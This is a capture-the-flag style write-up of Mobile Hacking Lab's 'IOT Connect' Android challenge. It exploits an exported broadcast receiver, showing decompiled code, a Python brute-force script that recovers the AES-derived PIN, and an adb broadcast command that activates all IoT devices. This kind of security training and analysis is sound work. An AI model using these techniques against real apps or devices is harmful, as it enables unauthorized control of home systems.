MobileHackingLab IOT Connect

Overview

This writeup documents my journey exploiting a broadcast receiver vulnerability in the "IOT Connect" Android application from Mobile Hacking Lab. The challenge involved bypassing authentication restrictions to activate a master switch that controls all connected IoT devices.

Initial Assessment

When I first launched the application, I was presented with a login page offering login and signup options. After creating an account, I noticed several limitations:

  • Regular/guest accounts can only control basic devices

  • Premium features like AC, speakers, and TV remain locked

  • The master switch (which activates all devices) requires a 3-digit PIN

  • Guest accounts cannot access the master switch functionality. This permission structure immediately suggested that the challenge would involve bypassing these restrictions to gain unauthorized control over all connected devices.

Static Analysis

Manifest Examination

My first step was to examine the application's manifest file using Jadx. The most interesting discovery was an unprotected broadcast receiver:

<receiver android:name=".MasterReceiver" android:exported="true">
    <intent-filter>
        <action android:name="MASTER_ON"/>
    </intent-filter>
</receiver>

The key security issue here is that this broadcast receiver:

  1. Has no permission restrictions

  2. Is exported (making it accessible to other applications)

  3. Has a simple, predictable intent action name ("MASTER_ON") These factors make it a prime target for exploitation.

Locating the Vulnerability

To understand how the broadcast receiver processes incoming intents, I searched for its implementation and found it in the CommunicationManager class. The receiver implementation revealed:

// Inside CommunicationManager.java
private BroadcastReceiver masterReceiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        if ("MASTER_ON".equals(intent.getAction())) {
            int key = intent.getIntExtra("key", -1);
            if (key != -1 && check_key(key)) {
                turnOnAllDevices();
            }
        }
    }
};

This confirmed that activating the master switch required sending a broadcast with:

  • Action: "MASTER_ON"

  • Extra integer parameter: "key" with a valid value

Cryptographic Analysis

The check_key function contained the core validation logic:

private boolean check_key(int inputKey) {
    try {
        // Convert 3-digit PIN to byte array with padding
        byte[] keyBytes = new byte[16];  // AES key size
        String keyStr = String.valueOf(inputKey);
        System.arraycopy(keyStr.getBytes(), 0, keyBytes, 0, keyStr.length());
        // Remaining bytes stay as zeros (padding)
        
        // Decrypt challenge using the key
        String encryptedBase64 = "OSnaALIWUkpOziVAMycaZQ==";
        byte[] encryptedBytes = Base64.decode(encryptedBase64, Base64.DEFAULT);
        
        // AES/ECB decryption
        SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(Cipher.DECRYPT_MODE, keySpec);
        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
        
        // Check if decryption yields "master_on"
        String decrypted = new String(decryptedBytes, "UTF-8");
        return "master_on".equals(decrypted);
    } catch (Exception e) {
        return false;
    }
}

From this analysis, I understood that: 2. The 3-digit PIN is converted to bytes and padded with zeros to create a 16-byte AES key 3. The function attempts to decrypt the base64 string "OSnaALIWUkpOziVAMycaZQ==" 4. If the decryption result equals "master_on", authentication succeeds

Exploitation Approach

Since the key space is small (000-999), a brute force approach is feasible. I created a script to try all possible combinations:

from Cryptodome.Cipher import AES
import base64

# Target encrypted string from application
encrypted_base64 = "OSnaALIWUkpOziVAMycaZQ=="
encrypted_bytes = base64.b64decode(encrypted_base64)
target_plaintext = "master_on"

# Brute force all possible 3-digit keys
for i in range(1000):
    try:
        # Format the PIN with leading zeros if needed
        pin = f"{i:03d}"
        
        # Create the 16-byte key (PIN + zero padding)
        key_bytes = bytearray(16)  # Initialize with zeros
        pin_bytes = pin.encode('utf-8')
        key_bytes[0:len(pin_bytes)] = pin_bytes
        
        # Set up AES decryption
        cipher = AES.new(bytes(key_bytes), AES.MODE_ECB)
        decrypted = cipher.decrypt(encrypted_bytes)
        
        # Remove padding and convert to string
        plaintext = decrypted.decode('utf-8').strip()
        
        # Check if we found the correct key
        if target_plaintext in plaintext:
            print(f"[+] Success! PIN found: {pin}")
            print(f"[+] Decrypted text: {plaintext}")
            break
            
    except UnicodeDecodeError:
        # Invalid decryption will produce non-UTF-8 bytes
        continue
    except Exception as e:
        # Other errors
        continue

Running this script revealed the PIN code: 345

Proof of Concept

With the PIN identified, I verified the exploit using ADB to send the broadcast:

adb shell am broadcast -a MASTER_ON --ei key 345

Upon executing this command:

  • The broadcast was received by the vulnerable receiver

  • The key was successfully validated

  • All devices were activated, including those normally restricted to guest users This confirmed successful exploitation of the broadcast receiver vulnerability.

Vulnerability Impact

This vulnerability allows any application or attacker with ADB access to:

  • Bypass authentication restrictions

  • Control all connected IoT devices

  • Potentially manipulate home security systems or cause physical impacts

Last updated